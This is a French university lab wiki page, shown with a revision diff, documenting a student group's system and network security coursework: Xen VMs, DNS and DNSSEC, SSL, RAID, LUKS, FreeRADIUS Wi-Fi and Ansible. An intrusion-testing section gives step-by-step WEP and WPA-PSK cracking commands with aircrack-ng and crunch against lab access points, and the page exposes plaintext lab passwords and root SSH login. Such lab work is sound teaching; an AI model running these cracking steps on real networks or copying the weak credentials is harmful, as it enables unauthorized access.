TP sysres IMA5 2021/2022 G5 : Différence entre versions

De Wiki d'activités IMA
(Installation de Ansible)
(Configuration du point d'accès)
 
(24 révisions intermédiaires par 2 utilisateurs non affichées)
Ligne 628 : Ligne 628 :
 
  /dev/md0 /media/raid ext4 defaults 0 1
 
  /dev/md0 /media/raid ext4 defaults 0 1
 
  mount -a
 
  mount -a
 +
 +
== Chiffrement des données ==
 +
 +
On branche la clé USB sur une zabeth et on se met en <strong> su - </strong>, et on lance <code>lsblk</code> et on trouve :
 +
 +
NAME    MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT
 +
sdb      8:16  1  7.2G  0 disk
 +
 +
Donc on peut formater la clé qui contient déjà des données (cryptées ou non) :
 +
 +
mkfs.ext4 /dev/sdb
 +
 +
Avec <code>cryptsetup</code> on peut initialiser la clé et on choisi un mot de passe :
 +
 +
cryptsetup luksFormat /dev/sda
 +
 +
On crée une partition chiffrée sur la clé (nom du volume : data) :
 +
 +
$ cryptsetup luksOpen /dev/sdb data
 +
 +
Et on formate :
 +
 +
$ mkfs.ext4 /dev/mapper/data
 +
 +
On monte cette partition pour lui permettre de contenir des fichiers :
 +
 +
$ mkdir /mnt/data-usb
 +
$ mount -t ext4 /dev/mapper/data /mnt/data-usb
 +
 +
On y ajoute donc un fichier de test en écrivant du texte dedans :
 +
 +
$ vim /mnt/data-usb/hello.txt
 +
 +
Puis on démonte et on ferme le volume chiffré
 +
 +
$ umount /mnt/data-usb
 +
$ cryptsetup luksClose data
 +
 +
On branche ensuite la clé sur une autre machine et on nous demande bien un mot de passe :
 +
 +
[[Fichier:screen-pass.png|300px|center]]
 +
 +
= Point d'accès Wi-Fi authentifié via FreeRADIUS =
 +
 +
== Configuration du point d'accès ==
 +
 +
=== Point d'accès ===
 +
 +
Tout d'abord il faut configurer l'authentification EAP dans la configuration :
 +
 +
conf t
 +
 +
  aaa new-model
 +
  aaa authentication login eap_duff group radius_duff
 +
  radius-server host 193.48.57.180 auth-port 1812 acct-port 1813 key secret_group5
 +
  aaa group server radius radius_duff
 +
  server 193.48.57.180 auth-port 1812 acct-port 1813
 +
  exit
 +
 +
Configurons le SSID :
 +
 +
conf t
 +
 +
  dot11 ssid DUFF
 +
  vlan 5
 +
  authentication open eap eap_duff
 +
  authentication network-eap eap_duff
 +
  authentication key-management wpa
 +
  mbssid guest-mode
 +
  exit
 +
  exit
 +
 +
On associe notre SSID à l'interface WIFI :
 +
 +
conf t
 +
 +
  interface Dot11Radio0
 +
  encryption vlan 4 mode ciphers aes-ccm tkip
 +
  ssid DUFF
 +
  mbssid
 +
  exit
 +
  exit
 +
 +
On paramètre notre VLAN (5)
 +
 +
conf t
 +
 
 +
  interface Dot11Radio0.4
 +
  encapsulation dot1Q 4
 +
  no ip route-cache
 +
  bridge-group 4
 +
  bridge-group 4 subscriber-loop-control
 +
  bridge-group 4 spanning-disabled
 +
  bridge-group 4 block-unknown-source
 +
  exit
 +
  exit
 +
 +
On configure l'interface filaire
 +
 +
conf t
 +
 +
  interface GigabitEthernet0.4
 +
  encapsulation dot1Q 4
 +
  bridge-group 4
 +
  exit
 +
exit
 +
 +
Enfin, on configure l'IP de l'AP et sa gateway
 +
 +
conf t
 +
 +
  ip default-gateway 10.1.0.1
 +
  interface BVI 1
 +
  ip address 10.1.0.3 255.255.255.0
 +
  exit
 +
  exit
 +
 +
=== Routeur ===
 +
 +
Commençons par configurer le VLAN 1
 +
 +
conf t
 +
 +
  interface vlan 1
 +
  ip address 10.1.0.1 255.255.255.0
 +
  exit
 +
  exit
 +
 +
Puis on configure le port (ici Gi1/0/3
 +
 +
conf t
 +
 +
  interface Gi1/0/3
 +
  switchport
 +
  switchport mode trunk
 +
  switchport trunk allowed vlan add 1
 +
  exit
 +
  exit
 +
 +
== Serveur FreeRADIUS ==
 +
 +
Installation de freeRADIUS
 +
 +
apt install freeradius
 +
 +
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler
 +
 +
client pra_wifi {
 +
ipaddr = 10.1.0.3/24
 +
secret = secret_group5
 +
}
 +
 +
ensuite <code>/etc/freeradius/3.0/mod-enabled/eap.conf</code>
 +
 +
eap {
 +
  [...]
 +
  default_eap_type = peap
 +
}
 +
 +
puis <code>/etc/freeradius/3.0/users</code>
 +
 +
[...]
 +
root Cleartext-Password := "glopglop"
 +
 +
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)
  
 
=TP ASR=
 
=TP ASR=
Ligne 656 : Ligne 821 :
  
 
et on décommente  
 
et on décommente  
  ....
+
 
 +
  PubkeyAuthentication yes
  
 
==Génération de clé SSH==
 
==Génération de clé SSH==
Ligne 672 : Ligne 838 :
  
 
==Installation de Ansible==
 
==Installation de Ansible==
 +
 +
Dans le fichier inventory
 +
 +
pra-05 ansible_ssh_host="172.26.145.105"
  
 
On créé un virtualenv, on l'active et on installe ansible.
 
On créé un virtualenv, on l'active et on installe ansible.
Ligne 683 : Ligne 853 :
  
 
  ansible-playbook -v -i inventory polytech.yaml
 
  ansible-playbook -v -i inventory polytech.yaml
 +
 +
==SSH Key role==
 +
 +
Création des répertoire /roles/ssh_key/tasks et /roles/ssh_keys/template
 +
 +
tasks/main.yml :
 +
 +
- name: "SSH Key role"
 +
  template:
 +
    src: authorized_key.j2
 +
    dest: /root/.ssh/authorized_keys
 +
    owner: root
 +
    group: root
 +
    mode: "0600"
 +
 +
src: fichier avec la fonction a réaliser
 +
dest: fichier destination dans notre VM
 +
mode : permission
 +
 +
template/authorized_key.j2 :
 +
 +
{% for item in ssh_keys %}
 +
<nowiki>{{ item.key }}</nowiki>
 +
{% endfor %}
 +
 +
ssh_key est une liste dans le fichier group_vars/all.yaml
 +
on regarde donc chaque element de cette liste et on cope la valuer pour le clef 'key'
 +
 +
Pour que ce script soit lancé, il faut ajouté dans polytech.yaml le rôle ssh_key
 +
Il faut également ajouter notre clef dnas group_vars/all.yaml afin qu'elle soit aussi copié
 +
 +
On relance ensuite la commande afin de réaliser le script
 +
ansible-playbook -v -i inventory polytech.yaml
 +
 +
==Installation de Docker==
 +
 +
ansible-galaxy install geerlingguy.docker
 +
 +
On le rajoute au polytech.yaml
 +
 +
==Firewall==
 +
 +
Non nécessaire
 +
 +
==Consul==
 +
 +
Création d'un role consul avec un fichier de configuration :
 +
 +
{
 +
  "datacenter": "polytech",
 +
  "data_dir": "/var/lib/consul",
 +
  "log_level": "INFO",
 +
  "node_name": "Ln&Cam",
 +
  "server": false
 +
}
 +
 +
Création d'un fichier consul/tasks/main.yml pour créer un consul client, les répertoires /etc/consul et /var/lib/consul et lancer consul via docker
 +
 +
---
 +
- name: "Create consul user"
 +
  user:
 +
    name: consul
 +
    group: consul
 +
    uid: 666
 +
    gid: 666
 +
- name: "Create directory /etc/consul"
 +
  file:
 +
    path: /etc/consul
 +
    state: directory
 +
    owner: consul
 +
    group: consul
 +
- name: "Create directory /var/lib/consul"
 +
  file:
 +
    path: /var/lib/consul
 +
    state: directory
 +
    owner: consul
 +
    group: consul
 +
- name: "Configuration file for consul"
 +
  copy:
 +
    src: config_consul.json
 +
    dest: /etc/consul/server.json
 +
    owner: consul
 +
    group: consul
 +
- name: "Launch consul"
 +
  docker_container:
 +
    name: consul_docker
 +
    groups :
 +
      - consul
 +
    user: consul
 +
    image: bitnami/consul
 +
    volume:
 +
      - /etc/consul/
 +
    network_mode: host
 +
 +
Pour que ce script soit lancé, il faut ajouté dans polytech.yaml

Version actuelle datée du 21 janvier 2022 à 12:41

BOURDAIN Hélène & VINGERE Camille

Plan d'adressage

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4/IPv6 6509E (E304) IPv4/IPv6 C9200 (E306) IPv4/IPv6 ISR4331 IPv4 @MV SSID VM
Helene / Camille 04 10.04.0.0/16 2001:7A8:116E:60B4::0/64 10.04.0.250 10.04.0.251 10.04.0.252 10.04.0.253 193.48.57.180/28 Tulipe Duff

Architecture réseau

Schéma global

Nous nous sommes occupés de l'installation physique du réseau.


Mise en place de la machine virtuelle

Création d'une machine virtuelle Xen

  • Connexion à capbreton
ssh root@capbreton
  • Changer la variable environnement pour le proxy
export http_proxy=http://proxy.plil.fr:3128
  • Création de la VM
xen-create-image --hostname=Duff --ip=193.48.57.180 --netmask=255.255.255.240 --gateway=193.48.57.190 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
 
* --hostname : nom de la VM
* --netmask : masque de sous-réseau
* --gateway : ip de la passerelle
* --dir : répertoire où les disques virtuels doivent être créés
* --password : mot de passe pour accéder à la VM
* --dist : distribution linux

Création des deux partitions LVM

  • Choisir le volume

Pour cela, on affiche les différents volumes disponible

vgdisplay

--- Volume group ---
 VG Name               storage
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  150
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                24
 Open LV               12
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <5.46 TiB
 PE Size               4.00 MiB
 Total PE              1430526
 Alloc PE / Size       45056 / 176.00 GiB
 Free  PE / Size       1385470 / <5.29 TiB
 VG UUID               eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc
  
 --- Volume group ---
 VG Name               virtual
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  333
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                56
 Open LV               49
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <1.82 TiB
 PE Size               4.00 MiB
 Total PE              476934
 Alloc PE / Size       143104 / 559.00 GiB
 Free  PE / Size       333830 / 1.27 TiB
 VG UUID               MS50AM-5UPD-Q5As-ZExy-nQYw-6zvq-Lftt6B
  
 --- Volume group ---
 VG Name               system
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  2
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                1
 Open LV               1
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <834.18 GiB
 PE Size               4.00 MiB
 Total PE              213549
 Alloc PE / Size       213549 / <834.18 GiB
 Free  PE / Size       0 / 0   
 VG UUID               09LwR3-qOUI-z438-g1TX-RGan-Y0HU-zKjTj2

On a choisi d'utiliser storage car c'est celui avec le plus d'espace disponible.

  • On créé les deux LV
lvcreate -L10G -n Duff1 storage
lvcreate -L10G -n Duff2 storage

*-L : taille allouée
*-n : nom de la partition
*storage : volume choisi
  • On a formaté nos disques
mkfs.ext4 /dev/storage/Duff1
mkfs.ext4 /dev/storage/Duff2
  • On a modifié le fichier de configuration

Cela nous a permit d'ajouter nos deux LVM et ajouter le pont IMAsc

vim /etc/xen/Duff.cfg

root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/Duff/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Duff/swap.img,xvda1,w',
                 'phy:/dev/storage/Duff1,xvda3,w',
                 'phy:/dev/storage/Duff2,xvda4,w'
             ]
#  Networking
#
vif         = [ 'ip=193.48.57.180 ,mac=00:16:3E:28:98:56 ,bridge=IMA5sc' ]
  • On a ensuite lancé Duff
xl create -c /etc/xen/Duff.cfg

*-c : permet de spécifier le fichier de configuration
  • On a ensuite autorisé l'IPv6
vi /etc/network/interfaces
auto eth0 inet6 auto

Monter les disques dans la VM

  • Créer un point de montage
mkdir /mnt/xvda3
mkdir /mnt/xvda4

mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
  • On créé les deux partitions

Les deux partitions que nous allons créer sont /home et /var or dans /var il y a déjà des fichiers que nous allons déplacer dans notre /mnt/xvda4

mv /var/* /mnt/xvda4

On édite fstab afin d'ajouter nos deux disques

vi /etc/fstab

/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

*ext4 : type de formatage
  • On monte tout
mount -a

On peut ensuite voir tout nos disques

lsblk

NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3    0   10G  0 disk /home
xvda4 202:4    0   10G  0 disk /var

Service Internet

SSH

  • Modifier le fichier /etc/ssh/sshd_config:
Décommenter Port X 
Autoriser le login root : PermitRootLogin Yes

X : numéro du port ssh = 22
  • Relancer le service SSH
service ssh restart

Serveur DNS

  • Nom de domaine :
Aller sur Gandi.net : 

Nom domaine : duff-tulipe.club
Blue record : ns1.duff-tulipe.club ip : 193.48.57.180
  • Modification de /etc/resolv.conf

On installe un serveur de noms sur notre machine, elle nous servira donc de nameserver

nameserver 127.0.0.1
  • Modification de /etc/bind/named.conf.local
zone "duff-tulipe.club" IN {
       type master;
       file "/etc/bind/db.duff-tulipe.club";
       allow-transfer { 217.70.177.40; };
};
  • Création de /etc/bind/db.duff-tulipe.club
$TTL    259200
@       IN      SOA     ns1.duff-tulipe.club. postmaster.duff-tulipe.club. (
                    2021121301         ; Incrementation date based
                         18000         ; Refresh every 5 hours
                         3600          ; Retry every hour
                        388000         ; Expire after 45 days
                        259200 )       ; Minimum TTL : 3 days
;
@       IN      NS      ns1.duff-tulipe.club.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.180 
www     IN      A       193.48.57.180
        IN      AAAA    2001:660:4401:60b0:216:3eff:fe28:9856

* A : Nom attribué à une adresse de type IP V4
* AAAA : Nom attribué à une adresse de type IP V6
* NS : Le ou les serveurs de noms de la zone (IPV4)
* SOA : Démarre la configuration
* TTL : Time to Live

Sécurisation du site par certificat SSL

Nous avons généré les clés privés et publiques avec un niveau de hachage SHA256.

openssl req -nodes -newkey rsa:2048 -sha256 -keyout duff-tulipe.club.key -out duff-tulipe.club.csr

* duff-tulipe.club.key : clé privé
* duff-tulipe.club.csr : clé publique

Il faut ensuite faire une demande de signature sur gandi.net puis ajouter un enregistrement CNAME à notre DNS dans le fichier /etc/bind/db.duff-tulipe.club :

_81984CA0A14C2BF87A3DC60134F472F1.duff-tulipe.club. 10800 IN CNAME 9693CBB1C5FF588366B34976185CEF2D.CF6A4117B09D101A3558AB1B3B415A3F.3001ef257407d5a371a9.sectigo.com.

Le certificat est disponible sur gandi sous format .crt et il faut le placer dans /etc/ssl/certs. On doit également télécharger le certificat intermédiaire de gandi (GandiStandardSSLCA2.pem).

Configuration de Apache 2 en utilisant le certificat SSL de Gandi

  • Activer le module SSL
a2enmod ssl

Le port 80 est écouté par défaut pour le HTTP. Nous voulons sécuriser le site avec un certificat SSL et devons donc utiliser le port 443 pour mettre HTTPS en place. On va donc remplacer :

<IfModule ssl_module>
      Listen 443
</IfModule> 

par

<IfModule mod_ssl.c>
       Listen 443
</IfModule>

Le répertoire par défaut d'Apache pour le routes html est /var/www/html. Nous créons un répertoire custom /var/www/duff-tulipe.club. Nous personnaliserons la page index.html avec le contenu qui nous convient.

Nous complétons le fichier de configuration custom avec /etc/apache2/sites-available/000-duff-tulipe.club-ssl.conf

<VirtualHost *:80>
        ServerName duff-tulipe.club
        ServerAlias www.duff-tulipe.club 
 	 ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html 
	 Redirect permanent / https://duff-tulipe.club/
</VirtualHost>
<VirtualHost *:443>
	ServerAdmin webmaster@localhost
	ServerName duff-tulipe.club
	ServerAlias www.duff-tulipe.club
	DocumentRoot /var/www/html

	SSLEngine on
  	SSLCertificateFile /etc/ssl/certs/duff-tulipe.club.crt
	SSLCertificateKeyFile /etc/ssl/private/duff-tulipe.club.key
       ErrorLog ${APACHE_LOG_DIR}/error.log
       CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

On spécifie l'emplacement du certificat ssl avec la clé qui lui est associée.

Malheureusement, notre certificat SSL n'est pas associé à la bonne clé. Nous avons donc cherché des solutions alternatives. Au final nous avons demandé une nouvelle génération sur Gandi du certificat SSL et recommencé la manipulation. Les solutions alternatives sont quand même renseignées plus bas.

Configuration de Apache 2 en utilisant le certificat de Let's Encrypt

Nous allons utiliser certbot pour configurer apache automatiquement et utiliser le certificat SSL de Let's Encrypt. La documentation complète peut être trouvée via ce lien : https://certbot.eff.org/instructions?ws=apache&os=debianbuster.

  • Installer snap
apt install snap
  • S'assurer que la version de snap est à jour
snap install core; snap refresh core
  • Installer Certbot
snap install --classic certbot
  • Préparation de la commande Certbot
ln -s /snap/bin/certbot /usr/bin/certbot
  • Lancer Certbot
certbot -v --apache

-v pour voir le détail des erreurs/warnings

Comme on peut voir dans la réponse ci-dessous, c'est un échec.

Which names would you like to activate HTTPS for?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1: duff-tulipe.club
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Select the appropriate numbers separated by commas and/or spaces, or leave input
blank to select all options shown (Enter 'c' to cancel): 
Requesting a certificate for duff-tulipe.club
Performing the following challenges:
http-01 challenge for duff-tulipe.club
Enabled Apache rewrite module
Waiting for verification...
Challenge failed for domain duff-tulipe.club
http-01 challenge for duff-tulipe.club 

Certbot failed to authenticate some domains (authenticator: apache). The Certificate Authority reported these problems:
  Domain: duff-tulipe.club
  Type:   dns
  Detail: No valid IP addresses found for duff-tulipe.club  

Hint: The Certificate Authority failed to verify the temporary Apache configuration changes made by Certbot. Ensure that the listed domains point to this Apache 
server and that it is accessible from the internet.

Cleaning up challenges
Some challenges have failed.
Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more 
details.

Une dernière solution a été testée.

Configuration de Apache 2 en utilisant le certificat de SSL For Free

Il suffit de se rendre sur ce lien https://www.sslforfree.com/. On rempli ensuite les champ nécessaire pour obtenir le certificat. Finalement, l'étape qui pose problème est l'étape où le site vérifie que nous sommes bien les propriétaires du site.

SSLForFree.png

3 solutions sont possibles.

  • Vérification par email
  • Vérification par DNS
  • Vérification par Upload HTTP

La vérification par Upload HTTP ne fonctionne pas car un lien du site est mort.

La vérification DNS ne fonctionne pas après avoir ajouté cet enregistrement DNS demandé par le site. UPDATE : Au final ça ne fonctionnait pas car il fallait aussi changer le DNS signé.

_BAAD2B664782B429E8BE0708BD15D557.duff-tulipe.club 3600 IN CNAME 0D9E12C86DFDDE0298FFFAE45FFABAD8.387D5A4E897132A9AB37E065A38E1FF8.c79cacd286c398f.comodoca.com

La vérification par email implique que nous ayons une boîte mail sur le nom de domaine.

Configuration d'une boîte mail sur le domaine

Pour finaliser l'étape précédente de validation pour obtenir un certificat SSL nous avons tenté de créer une boîte mail associée à notre domaine sur gandi.

Pour cela il faut aller sur l'espace de gestion de son domaine puis dans Boites & redirections Mail. Comme nous utilisons un DNS externe et pas celui de gandi, il est nécessaire d'ajouter des enregistrements sur notre DNS.

vim /etc/bind/db.duff-tulipe.club

On édite le fichier en ajoutant :

@ 10800 IN MX 10 spool.mail.gandi.net.
@ 10800 IN MX 50 fb.mail.gandi.net.
@ 10800 IN TXT "v=spf1 include:_mailcust.gandi.net ?all"

On ajoute également des enregistrements SRV recommandés par Gandi

_imap._tcp 10800 IN SRV 0 0 0   .
_imaps._tcp 10800 IN SRV 0 1 993 mail.gandi.net.
_pop3._tcp 10800 IN SRV 0 0 0   .
_pop3s._tcp 10800 IN SRV 10 1 995 mail.gandi.net.
_submission._tcp 10800 IN SRV 0 1 465 mail.gandi.net.

On crée ensuite une boîte mail sur gandi. Nous l'avons appellée webmaster@duff-tulipe.club. Nous pouvons ensuite utiliser les Webmails proposés par gandi. Nous utilisons RoundCube.

Pour l'envoi de mail, nous obtenons l'erreur suivante :

Erreur SMTP (550) : échec d’ajout du destinataire « camille.vingere@gmail.com » (5.1.8 <webmaster@duff-tulipe.club>: Sender address rejected: Domain not found)

Pour la réception de mail, nous obtenons l'erreur suivante :

DNS Error: 28225874 DNS type 'mx' lookup of duff-tulipe.club responded with code NOERROR 28225874 DNS type 'mx' lookup of duff-tulipe.club had no relevant 
answers. 28225874 DNS type 'aaaa' lookup of duff-tulipe.club responded with code NOERROR 28225874 DNS type 'aaaa' lookup of duff-tulipe.club had no relevant 
answers. 28225874 DNS type 'a' lookup of duff-tulipe.club responded with code NOERROR 28225874 DNS type 'a' lookup of duff-tulipe.club had no relevant answers.

Sécurisation de serveur DNS par DNSSEC

  • Modification de /etc/binc/named.conf.options
Activer le DNSSEC pour Bind:
dnssec-enable yes;
  • Création de la clef asymétrique de signature de clefs de zone
Création du répertore /etc/bind/duff-tulipe.dnssec
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE duff-tulipe.club
Renommer la clef en :
duff-tulipe.club-ksk.key
duff-tulipe.club-ksk.private
  • Création la clef asymétrique de la zone pour signer les enregistrements
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE duff-tulipe.club

Renommer la clef en :
duff-tulipe.club-zsk.key
duff-tulipe.club-zsk.private
  • Inclusion des fichiers dans /etc/bind/db.duff-tulipe.club
$include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-ksk.key
$include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-zsk.key

On incrémente le numéro de version

@       IN      SOA     ns1.duff-tulipe.club. postmaster.duff-tulipe.club. (
                   2021121302         ; Incrementation date based
  • Signature des enregistrement de la zone
dnssec-signzone -o duff-tulipe.club -k duff-tulipe.club-ksk ../db.duff-tulipe.club duff-tulipe.club-zsk
  • Modification du ficher named.conf.local

Cela permet d'utiliser la zone signée, générée à l'étape précédente

zone "duff-tulipe.club" IN {
        type master;
        file "/etc/bind/db.duff-tulipe.club.signed";
        allow-transfer { 217.70.177.40; };
};
  • Communication de la partie publique

Copie du ficher duff-tulipe.club-ksk.key dans la partie DNSSEC de notre domaine sur gandi.net (KSK et algorithme RSA-SHA1)

  • Test

On lance la commande

dnssec-verify -o duff-tulipe.club db.duff-tulipe.club.signed
Loading zone 'duff-tulipe.club' from file 'db.duff-tulipe.club.signed'

Verifying the zone using the following algorithms:
- RSASHA1
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked

Tests d'intrusion

Cassage de clef WEP d’un point d’accès WiFi

  • Installation du paquet aircrack
apt install aircrack-ng
  • Affichage de notre interface réseau
 airmon-ng
  • Arrêter les process existant
airmon-ng check kill
  • Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal>

n°interface : wlan0mon
canal : 3
  • Récupération du BSSID du point d'accès
airodump-ng wlan0mon

permet d'écouter tous les paquets

On choisit une cracotte : cracotte05 => BSSID : 04:DA:D2:9C:50:54
  • Test d'injection

Après avoir récupéré le BSSID d'une des cracotte on réalise un test d'injection.

aireplay-ng -9 -e <nom_du_point_d_acces> -a <BSSID> <n°interface>
  • Capture des VI sur notre point d'accès dans un fichier
airodump-ng -c <canal> --bssid <BSSID> -w output <n°interface>

Il faut désormais ouvrir un nouveau terminal.

  • Associer l'interface réseau à notre point d'accès

Nous utilisons une fausse authentification pour nous connecter.

aireplay-ng -1 0 -e <nom_du_point_d_acces> -a <BSSID> -h <BSSID_interface_reseau> <n°interface>

nom pt acces : cracotte05
bssid: 04:DA:D2:9C:50:54
BSSID_interface_reseau : 40:A5:EF:01:35:79
n°interface : wlan0mon
  • Décryptage
aircrack-ng -b 04:DA:D2:9C:50:54 output*.cap

Va tester différentes clefs jusqu'à trouver la bonne (822 dans notre cas)

 KEY FOUND! [ 55:55:55:55:5A:BC:06:CB:A4:44:44:44:44]
Decrypted correctly: 100%

Cassage du mot de passe WPA-PSK par force brute

  • Affichage de notre interface réseau
airmon-ng

wlx40a5ef059e47
  • Arrêter les process existant
airmon-ng check kill
  • Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal>

n°interface : wlan0mon
canal : 3
  • Récupération du BSSID du point d'accès
airodump-ng wlan0mon

permet d'écouter tous les paquets

On choisit une kracotte (avec un "k" pour le WPA) : kracotte14 => BSSID : 44:AD:D9:5F:87:0D

On capture ensuite les VI générés par le point d'accès afin de capturer une Handshake dans un fichier psk :

airodump-ng -c 3 --bssid 44:AD:D9:5F:87:03 -w psk wlan0mon
*-c 3 : channel
*--bssid: BSSID de la kracotte

On créé ensuite un dictionnaire de toutes les combinaisons possibles de 8 chiffres avec l'aide de l'utilitaire crunch :

apt install crunch
crunch 8 8 0123456789 -o password.lst

*8 nombre min de caractères
*8 nombre max de caractères
*0123456789 : caractères utilisés pour les combinaisons
*-o : fichier de sortie

Une fois le chargement terminé nous obtenons ce résultat

[00:56:46] 59882312/100000000 keys tested (17564.32 k/s)

KEY FOUND! [ 59914999 ]


     Master Key     : B6 2C 87 9A 1D D2 52 1A 23 45 79 FA 95 2F 09 F0 
                      75 A4 0C D9 AD 3B 10 C3 2B F7 41 50 00 AF D5 9D 

     Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

     EAPOL HMAC     : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00


Réalisation

Sécurisation de données

Pour notre serveur Xen on crée trois partitions LVM de 1Go avec des noms liés à celui de notre serveur (stprage)

lvcreate -L1G -n duff-raid1 storage
lvcreate -L1G -n duff-raid2 storage
lvcreate -L1G -n duff-raid3 storage

Nous ajoutons les partitions à notre fichier de configuration qui se trouve dans /etc/xen/Duff.cfg

'phy:/dev/storage/duff-raid1,xvdb1,w',
'phy:/dev/storage/duff-raid2,xvdb2,w',
'phy:/dev/storage/duff-raid3,xvdb3,w'

On regarde la liste des machines lancées.

xl list

On éteint la VM

xl shutdown 6

Pour éteindre la machine avec l'ID 6 (la notre)

On relance la VM

xl create -c /etc/xen/Duff.cfg

On crée la partition Raid5

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3

On formate la partition en ext4

mkfs.ext4 /dev/md0

On ajoute au fichier /etc/fstab la partition formatée /dev/md0 pour qu'il soit monté durant le démarrage de la VM

/dev/md0 /media/raid ext4 defaults 0 1
mount -a

Chiffrement des données

On branche la clé USB sur une zabeth et on se met en su - , et on lance lsblk et on trouve :

NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
sdb      8:16   1   7.2G  0 disk 

Donc on peut formater la clé qui contient déjà des données (cryptées ou non) :

mkfs.ext4 /dev/sdb

Avec cryptsetup on peut initialiser la clé et on choisi un mot de passe :

cryptsetup luksFormat /dev/sda

On crée une partition chiffrée sur la clé (nom du volume : data) :

$ cryptsetup luksOpen /dev/sdb data

Et on formate :

$ mkfs.ext4 /dev/mapper/data

On monte cette partition pour lui permettre de contenir des fichiers :

$ mkdir /mnt/data-usb
$ mount -t ext4 /dev/mapper/data /mnt/data-usb

On y ajoute donc un fichier de test en écrivant du texte dedans :

$ vim /mnt/data-usb/hello.txt

Puis on démonte et on ferme le volume chiffré

$ umount /mnt/data-usb
$ cryptsetup luksClose data

On branche ensuite la clé sur une autre machine et on nous demande bien un mot de passe :

Screen-pass.png

Point d'accès Wi-Fi authentifié via FreeRADIUS

Configuration du point d'accès

Point d'accès

Tout d'abord il faut configurer l'authentification EAP dans la configuration :

conf t

 aaa new-model
 aaa authentication login eap_duff group radius_duff
 radius-server host 193.48.57.180 auth-port 1812 acct-port 1813 key secret_group5
 aaa group server radius radius_duff
 server 193.48.57.180 auth-port 1812 acct-port 1813
 exit

Configurons le SSID :

conf t

 dot11 ssid DUFF
 vlan 5
  authentication open eap eap_duff
  authentication network-eap eap_duff
  authentication key-management wpa
  mbssid guest-mode
  exit
 exit

On associe notre SSID à l'interface WIFI :

conf t

 interface Dot11Radio0
  encryption vlan 4 mode ciphers aes-ccm tkip
  ssid DUFF
  mbssid
  exit
 exit

On paramètre notre VLAN (5)

conf t
 
 interface Dot11Radio0.4
  encapsulation dot1Q 4
  no ip route-cache
  bridge-group 4
  bridge-group 4 subscriber-loop-control
  bridge-group 4 spanning-disabled
  bridge-group 4 block-unknown-source
  exit
 exit

On configure l'interface filaire

conf t

 interface GigabitEthernet0.4
 encapsulation dot1Q 4
 bridge-group 4
 exit
exit

Enfin, on configure l'IP de l'AP et sa gateway

conf t

 ip default-gateway 10.1.0.1
 interface BVI 1
  ip address 10.1.0.3 255.255.255.0
  exit
 exit

Routeur

Commençons par configurer le VLAN 1

conf t

 interface vlan 1
  ip address 10.1.0.1 255.255.255.0
  exit
 exit

Puis on configure le port (ici Gi1/0/3

conf t

 interface Gi1/0/3
  switchport
  switchport mode trunk
  switchport trunk allowed vlan add 1
  exit
 exit

Serveur FreeRADIUS

Installation de freeRADIUS

apt install freeradius

On commence par configurer /etc/freeradius/3.0/clients.conf à détailler

client pra_wifi {
	ipaddr = 10.1.0.3/24
	secret = secret_group5
}

ensuite /etc/freeradius/3.0/mod-enabled/eap.conf

eap {
  [...]
  default_eap_type = peap
}

puis /etc/freeradius/3.0/users

[...]
root Cleartext-Password := "glopglop"

Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug freeradius -X (après avoir au préalable stoppé le processus)

TP ASR

Préliminaire : Configuration d'une nouvelle VM sur chassiron.plil.info

Nous devons configurer l'IPV4 sur la machine.

vim /etc/network/interfaces

On rajoute l'adresse IPV4 et la gateway.

address 172.26.145.105/24
gateway 172.26.145.254

Puis

ifdown eth0
ifup eth0

On autorise la connexion en ssh dans /etc/ssh/

vi sshd_config

On met

PermitRootLogin yes

et on décommente

PubkeyAuthentication yes

Génération de clé SSH

Pour se connecter à la VM avec ansible nous générons une clé SSH dans ~/.ssh/ de la zabeth05

